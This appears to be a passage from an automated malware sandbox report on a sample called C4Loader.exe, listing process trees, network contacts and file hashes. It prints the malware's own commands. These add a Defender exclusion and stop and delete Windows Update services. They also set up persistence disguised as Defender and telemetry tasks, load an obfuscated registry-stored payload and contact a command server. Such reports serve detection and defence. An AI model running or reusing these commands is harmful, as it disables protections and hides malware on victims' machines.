oAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"

C:\Users\Admin\AppData\Local\Temp\new2.exe

"C:\Users\Admin\AppData\Local\Temp\new2.exe"

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 36

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\system32\taskeng.exe

taskeng.exe {71E08CCC-23CE-480E-B4B7-E3D89A1E1ADB} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+'W'+'A'+'R'+[Char](69)+'').GetValue(''+'d'+''+'i'+''+'a'+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+'ger')).EntryPoint.Invoke($Null,$Null)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+''+'W'+'A'+[Char](82)+'E').GetValue('d'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-11676301611591544933990877117352240750-18887266561121303732-1565524250-1971687113"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{af758c13-069e-48bc-b2ff-4a616425f703}

C:\Windows\SysWOW64\schtasks.exe

/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-17893607254580602341956543790-428070056-553578323896996969-1945717225471173251"

C:\Windows\system32\taskeng.exe

taskeng.exe {F24E3309-933F-43A5-9665-D23646BF2084} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 connect2me.hopto.org udp
N/A 37.139.129.113:443 connect2me.hopto.org tcp
N/A 107.182.129.73:21733 tcp

Files

memory/900-54-0x0000000000400000-0x0000000000405000-memory.dmp

memory/900-56-0x0000000000400000-0x0000000000405000-memory.dmp

memory/900-62-0x0000000000401159-mapping.dmp

memory/900-63-0x0000000074E41000-0x0000000074E43000-memory.dmp

memory/900-64-0x0000000000400000-0x0000000000405000-memory.dmp

memory/1492-65-0x0000000000000000-mapping.dmp

memory/860-66-0x0000000000000000-mapping.dmp

memory/860-68-0x0000000072E00000-0x00000000733AB000-memory.dmp

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

memory/1732-71-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

memory/760-75-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/1672-79-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/2036-81-0x0000000000400000-0x0000000000420000-memory.dmp

memory/2036-83-0x0000000000400000-0x0000000000420000-memory.dmp

memory/2036-89-0x0000000000400000-0x0000000000420000-memory.dmp

memory/2036-88-0x000000000041ADAE-mapping.dmp

memory/2036-90-0x0000000000400000-0x0000000000420000-memory.dmp

memory/2008-91-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/1600-96-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/1732-98-0x0000000000F00000-0x000000000106C000-memory.dmp

memory/860-99-0x0000000072E00000-0x00000000733AB000-memory.dmp

memory/1732-100-0x0000000004E10000-0x0000000004F76000-memory.dmp

memory/1672-101-0x0000000001E30000-0x0000000002334000-memory.dmp

memory/1672-103-0x0000000001E30000-0x0000000002334000-memory.dmp

memory/1732-105-0x0000000004F70000-0x00000000050BE000-memory.dmp

memory/1732-106-0x0000000000490000-0x00000000004A4000-memory.dmp

memory/1672-107-0x0000000002340000-0x000000000247D000-memory.dmp

memory/1732-109-0x00000000049D6000-0x00000000049E7000-memory.dmp

memory/1672-110-0x0000000002340000-0x000000000247D000-memory.dmp

memory/920-111-0x000007FEFB641000-0x000007FEFB643000-memory.dmp

memory/920-112-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

memory/920-114-0x00000000027C4000-0x00000000027C7000-memory.dmp

memory/920-113-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

memory/920-115-0x00000000027CB000-0x00000000027EA000-memory.dmp

memory/920-116-0x00000000027C4000-0x00000000027C7000-memory.dmp

memory/920-117-0x00000000027CB000-0x00000000027EA000-memory.dmp

memory/1392-119-0x0000000000000000-mapping.dmp

memory/1664-121-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 71be9aee860ae40d0c2e6f6a079c2a5f
SHA1 bbe2939df623123e1128bb45fe0c5bb8b4425f5f
SHA256 2e25b0998575a408987df696a78e68e7eefbc4b5f3cc227b3a6e931f4add1287
SHA512 9db06e0a2031ea91e06d84f6c752775c010d326c49fc8ba1eaa223fe3303dd90bee8e51098a3831557cc2ae3e72f6749c933a429d263b35349df5ef4f1ded5c6

memory/800-122-0x0000000000000000-mapping.dmp

memory/1476-123-0x000007FEF3250000-0x000007FEF3C73000-memory.dmp

memory/1552-124-0x0000000000000000-mapping.dmp

memory/1476-125-0x000007FEF26F0000-0x000007FEF324D000-memory.dmp

memory/952-126-0x0000000000000000-mapping.dmp

memory/1724-127-0x0000000000000000-mapping.dmp

memory/1668-128-0x0000000000000000-mapping.dmp

memory/1488-129-0x0000000000000000-mapping.dmp

memory/984-130-0x0000000000000000-mapping.dmp

memory/392-131-0x0000000000000000-mapping.dmp

memory/664-132-0x0000000000000000-mapping.dmp

memory/1672-133-0x0000000001E30000-0x0000000002334000-memory.dmp

memory/1476-134-0x00000000023A4000-0x00000000023A7000-memory.dmp

memory/1476-135-0x00000000023AB000-0x00000000023CA000-memory.dmp

memory/1476-136-0x00000000023AB000-0x00000000023CA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/1952-138-0x0000000140001938-mapping.dmp

memory/1568-139-0x0000000000000000-mapping.dmp

memory/2028-140-0x0000000000000000-mapping.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1568-144-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

memory/1568-145-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

memory/1672-146-0x0000000002340000-0x000000000247D000-memory.dmp

memory/2028-147-0x0000000070EF0000-0x000000007149B000-memory.dmp

memory/1568-148-0x00000000010B4000-0x00000000010B7000-memory.dmp

memory/1568-149-0x0000000076DC0000-0x0000000076F69000-memory.dmp

memory/1568-150-0x00000000010BB000-0x00000000010DA000-memory.dmp

memory/1568-151-0x0000000076BA0000-0x0000000076CBF000-memory.dmp

memory/1384-152-0x0000000140000000-0x0000000140029000-memory.dmp

memory/1384-153-0x0000000140002314-mapping.dmp

memory/1384-155-0x0000000140000000-0x0000000140029000-memory.dmp

memory/1384-156-0x0000000076DC0000-0x0000000076F69000-memory.dmp

memory/1384-157-0x0000000076BA0000-0x0000000076CBF000-memory.dmp

memory/1568-158-0x00000000010B4000-0x00000000010B7000-memory.dmp

memory/1568-159-0x00000000010BB000-0x00000000010DA000-memory.dmp

memory/424-160-0x0000000000820000-0x0000000000841000-memory.dmp

memory/1568-163-0x0000000076BA0000-0x0000000076CBF000-memory.dmp

memory/424-165-0x000007FEBE100000-0x000007FEBE110000-memory.dmp

memory/1568-161-0x0000000076DC0000-0x0000000076F69000-memory.dmp

memory/424-168-0x0000000000820000-0x0000000000841000-memory.dmp

memory/424-166-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/468-170-0x000007FEBE100000-0x000007FEBE110000-memory.dmp

memory/468-172-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1384-173-0x0000000140000000-0x0000000140029000-memory.dmp

memory/1384-176-0x0000000076DC0000-0x0000000076F69000-memory.dmp

memory/484-178-0x000007FEBE100000-0x000007FEBE110000-memory.dmp

memory/484-177-0x0000000000230000-0x0000000000257000-memory.dmp

memory/484-180-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/468-171-0x0000000000200000-0x0000000000227000-memory.dmp

memory/424-169-0x0000000000850000-0x0000000000877000-memory.dmp

memory/492-185-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/492-183-0x000007FEBE100000-0x000007FEBE110000-memory.dmp

memory/588-189-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/588-187-0x000007FEBE100000-0x000007FEBE110000-memory.dmp

memory/2028-254-0x0000000070EF0000-0x000000007149B000-memory.dmp

memory/1556-256-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1556-255-0x00000000001B0000-0x00000000001D7000-memory.dmp

memory/492-257-0x00000000001E0000-0x0000000000207000-memory.dmp

memory/588-258-0x00000000002C0000-0x00000000002E7000-memory.dmp

memory/752-260-0x0000000000A30000-0x0000000000A57000-memory.dmp

memory/804-262-0x00000000008F0000-0x0000000000917000-memory.dmp

memory/668-259-0x00000000005C0000-0x00000000005E7000-memory.dmp

memory/752-261-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/804-263-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/840-264-0x0000000000290000-0x00000000002B7000-memory.dmp

memory/872-266-0x0000000000A90000-0x0000000000AB7000-memory.dmp

memory/840-265-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/296-268-0x00000000001D0000-0x00000000001F7000-memory.dmp

memory/872-267-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/296-269-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/372-270-0x0000000000310000-0x0000000000337000-memory.dmp

memory/1044-271-0x00000000007A0000-0x00000000007C7000-memory.dmp

memory/1128-274-0x0000000001ED0000-0x0000000001EF7000-memory.dmp

memory/372-273-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1044-272-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1128-275-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1240-276-0x0000000000160000-0x0000000000187000-memory.dmp

memory/1240-277-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1280-279-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/1280-278-0x0000000003690000-0x00000000036B7000-memory.dmp

memory/1080-281-0x0000000000800000-0x0000000000827000-memory.dmp

memory/1976-283-0x0000000000140000-0x0000000000167000-memory.dmp

memory/1976-284-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/744-282-0x0000000036E00000-0x0000000036E10000-memory.dmp

memory/744-280-0x0000000000120000-0x0000000000147000-memory.dmp

memory/1384-286-0x0000000000DB0000-0x0000000000DD7000-memory.dmp

memory/1216-285-0x00000000008E0000-0x0000000000907000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/332-295-0x0000000000000000-mapping.dmp

memory/676-307-0x0000000000000000-mapping.dmp

C:\Windows\System32\Tasks\Telemetry Logging

MD5 9c91dbb9336c832c30d72ec390b03c14
SHA1 8c99acb8398fd987a636da6689e200be4c1f361c
SHA256 f6863698be7f3f733814db3da99a07776aec3a04212254de787e1743d9ea76d3
SHA512 7bafef0fb5cd459b54145eb818ca3f05ee88536232fbe1e0f0e4668ed93232a438623698108b79fa01e36f90aa917657d9bfe8f55077fa642fffbf90343df507

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/1968-314-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5